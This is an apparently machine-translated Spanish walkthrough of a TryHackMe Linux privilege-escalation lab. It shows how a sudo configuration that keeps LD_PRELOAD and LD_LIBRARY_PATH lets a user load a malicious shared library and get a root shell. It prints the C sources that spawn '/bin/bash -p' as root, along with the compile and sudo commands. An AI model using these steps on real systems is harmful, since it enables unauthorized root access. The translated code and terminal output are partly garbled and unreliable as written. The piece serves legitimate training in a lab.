Esta vez, intentaremos aumentar los privilegios utilizando las variables de entorno de Linux "ld_preload" y "ld_library_path".
La máquina de destino usa la habitación debajo de TryhackMe.
"Tryhackme-Linux PrivSc: https://tryhackme.com/room/linuxprivesc "

Este artículo es la Parte 4.
Si desea verificar la redacción de Linux PrivSc con TryhackMe, también consulte Elevación de privilegios usando GTFobins




Preparación
Primero, inicie la máquina de destino y conecte a la máquina de destino.
Iniciar la máquina de destino
Primero, inicie la máquina de destino.
Únase a "Tryhackme-Linux PrivSc: https://tryhackme.com/room/linuxprivesc

Si la dirección IP se muestra así, el arranque está bien.

Conexión ssh
Conéctese a la máquina de destino que comenzó a usar SSH.
Como se explicó, está bien siempre que pueda conectarse usando "Usuario: contraseña321".
└─ $ ssh user@10.10.6.35 La autenticidad del host '10 .10.6.35 (10.10.6.35) 'no se puede establecer. DSA Key Fingerprint es SHA256: P2NSSFVYJVK1QE0TSNX5G2H8AAWYRN71JDZ3UEODBMA. Esta clave no se sabe por otros nombres, ¿está seguro de que desea continuar conectando (sí/no/[huella digital])? Sí Advertencia: agregó permanentemente '10 .10.6.35 '(DSA) a la lista de hosts conocidos. User@10.10.6.35's contraseña: Linux Debian 2.6.32-5-amd64 #1 SMP martes 13 de mayo 16:34:35 UTC 2014 x86_64 Los programas incluidos con el sistema GNU/Linux Debian son software gratuito; Los términos de distribución exactos para cada programa se describen en los archivos individuales en/usr/share/doc/*/copyright. Debian GNU/Linux no tiene absolutamente ninguna garantía, en la medida permitida por la ley aplicable. Último inicio de sesión: viernes 15 de mayo 06:41:23 2020 desde 192.168.1.125 Usuario@Debian: ~ $ sudo -l Entradas predeterminadas de coincidencia para el usuario en este host: env_reset, env_keep+= ld_preload, env_ senck+= ld_library_path
"-OHostKeyalgorithms =+SSH-RSA" debe agregarse
Elevación del privilegio utilizando variables de entorno
Las variables de entorno vulnerable son "ld_preload" y "ld_library_path".
Una breve explicación es la siguiente:
- Ld_preload: se usa para precargar las bibliotecas. Al especificar una biblioteca compartida, es posible cargar (o ejecutar) la biblioteca compartida antes de ejecutar cualquier programa.
- Ld_library_path: Especifica la lista en la que se buscan las bibliotecas compartidas. Al especificar el directorio donde se encuentra el archivo de la biblioteca, ese directorio también se puede buscar.
Elevación del privilegio usando ld_preload
Ahora, intentaré usar "ld_preload" para obtener privilegios raíz.
Primero, verifique qué programas se pueden ejecutar con sudo.
Puede ver que 11 programas se pueden ejecutar con Sodu.
Usuario@Debian: ~ $ sudo -l Entradas de default de coincidencia para el usuario en este host: Env_Reset, Env_Keep+= LD_PReload, Env_Keep+= LD_Library_Path User User puede ejecutar los siguientes comandos en este host: (root) Nopasswd:/usr/sbin/iftop (root) nopasswd:/usr/bin/find (root (root) no /usr/bin/nano (root) nopasswd:/usr/bin/vim (root) nopasswd:/usr/bin/man (root) nopasswd:/usr/bin/awk (root) nopasswd:/usr/bin/menos (root) nopasswd:/usr/bin/ftp (root) nopasswd: nMaP/bin/bin) (root) nopasswd:/usr/sbin/apache2 (root) nopasswd:/bin/más
Crearemos una biblioteca compartida que se cargará por adelantado.
Sin embargo, creo que habrá "precarga.c" en la máquina de destino por adelantado, así que la compilaré.
Parece que PReload.c es un programa que ejecuta una llamada del sistema y genera un shell "/bin/bash".
Usuario@Debian: ~ $ Cat /home/user/tools/sudo/preload.c #include<stdio.h> #incluir<sys/types.h> #incluir<stdlib.h> void _init () {unsetenv ("ld_preload"); setResuid (0,0,0); sistema ("/bin/bash -p"); }
Genere la biblioteca compartida de Preload.C.
Usuario@Debian: ~ $ GCC -fpic -shared -nostartfiles -o /tmp/preload.so /home/user/tools/sudo/preload.c
Una vez que lo haya creado, cuando ejecute un programa que se puede ejecutar con sudo, especifique ld_preload y ejecútelo.
Usuario@Debian: ~ $ sudo ld_preload =/tmp/preload.sO busca root@Debian:/home/user# whoami root
Has podido convertirte en un usuario raíz.
Elevación del privilegio usando ld_library_path
A continuación, también intentaremos aumentar los privilegios usando "LD_Library_Path".
Primero, ejecute el comando "LDD" a Apache2 para mostrar dependencias en las bibliotecas compartidas para verificar las bibliotecas compartidas.
usuario@debian: ~ $ ldd/usr/sbin/apache2 linux-vdo.so.1 => (0x0000007fff84ee8000) libpcre.so.3 => /lib/x86_64-linux-gnu/libpcre.so.3 (0x00007fba94c5c000) liBapRutil-1.0 = /usr/lib/libaprutil-1.so.0 (0x00007fba94a38000) libaprutil-1.so.0 => /usr/lib/libaprutil-1.so.0 (0x00007fba94a38000) libaprutil-1.so.0 => /usr/lib/libaprutil-1so.0.0) (0x00007fba947fe000) libpThread.so.0 => /lib/libpthread.so.0 (0x00007fba945e2000) libc.so.6 => /lib/libc.so.6 (0x00007fba94276000) libuuid.so.1 => /libuid.1 (0x00007fba94071000) libt.so.1 => /lib/libt.so.1 (0x0000007fba93e69000) libcrypt.so.1 => /lib/libcrypt.so.1 (0x00007fba93c32000) libdl.so.2 => /lib /libdl.2.2.2.2.2.2.2.2.2.2.2.2.2.2. (0x00007fba93a2d000) libexpat.so.1 => /usr/lib/libexpat.so.1 (0x0000007fba93805000) /lib64/ld-linux-x86-64.so.2 (0x0000007fba9511000)
Hay algunas dependencias, pero esta vez crearemos la misma biblioteca compartida que "libcrypt.so.1" e intentaremos cargarla.
Primero, creemos una biblioteca compartida.
El contenido de "biblioteca_path.c" es el siguiente:
lo que estás haciendo no es diferente de antes.
Usuario@Debian: ~ $ Cat /home/user/tools/sudo/library_path.c #include<stdio.h> #incluir<stdlib.h> static void secuk () __attribute __ ((constructor)); vacío hijack () {unsetenv ("ld_library_path"); setResuid (0,0,0); sistema ("/bin/bash -p"); }
Cree una biblioteca compartida llamada "libcrypt.so.1" de "biblioteca_path.c" anterior.
La ubicación de almacenamiento es "/TMP".
Usuario@Debian: ~ $ GCC -O /TMP/LIBCRYPT.SO.1 -shared -fpic /home/user/tools/sudo/library_path.c
Al ejecutar apache2 con sudo, especifique el "/tmp" almacenado anteriormente en ld_library_path.
usuario@debian: ~ $ sudo ld_library_path =/tmp apache2 apache2: /tmp/libcrypt.so.1: no hay información de versión disponible (requerida por /usr/lib/libaprutil-1.so.0) root@debian:/home/user# whoami root
¡Creo que esto ha permitido que Root aumente los privilegios!
resumen
Esta vez, intenté aumentar los privilegios utilizando las variables de entorno de Linux "ld_preload" y "ld_library_path".
El contenido era que al generar /bin /bash shell y ejecutarlo con sudo, puede obtener el shell raíz, pero me pregunto si esto es posible. . . Simplemente estaba interesado.
Referencias y sitios
Medium ( Shamsher Khan ): https://infosecwriteups.com/linux-privesc-tryhackme-writeup-bf4e32460ee5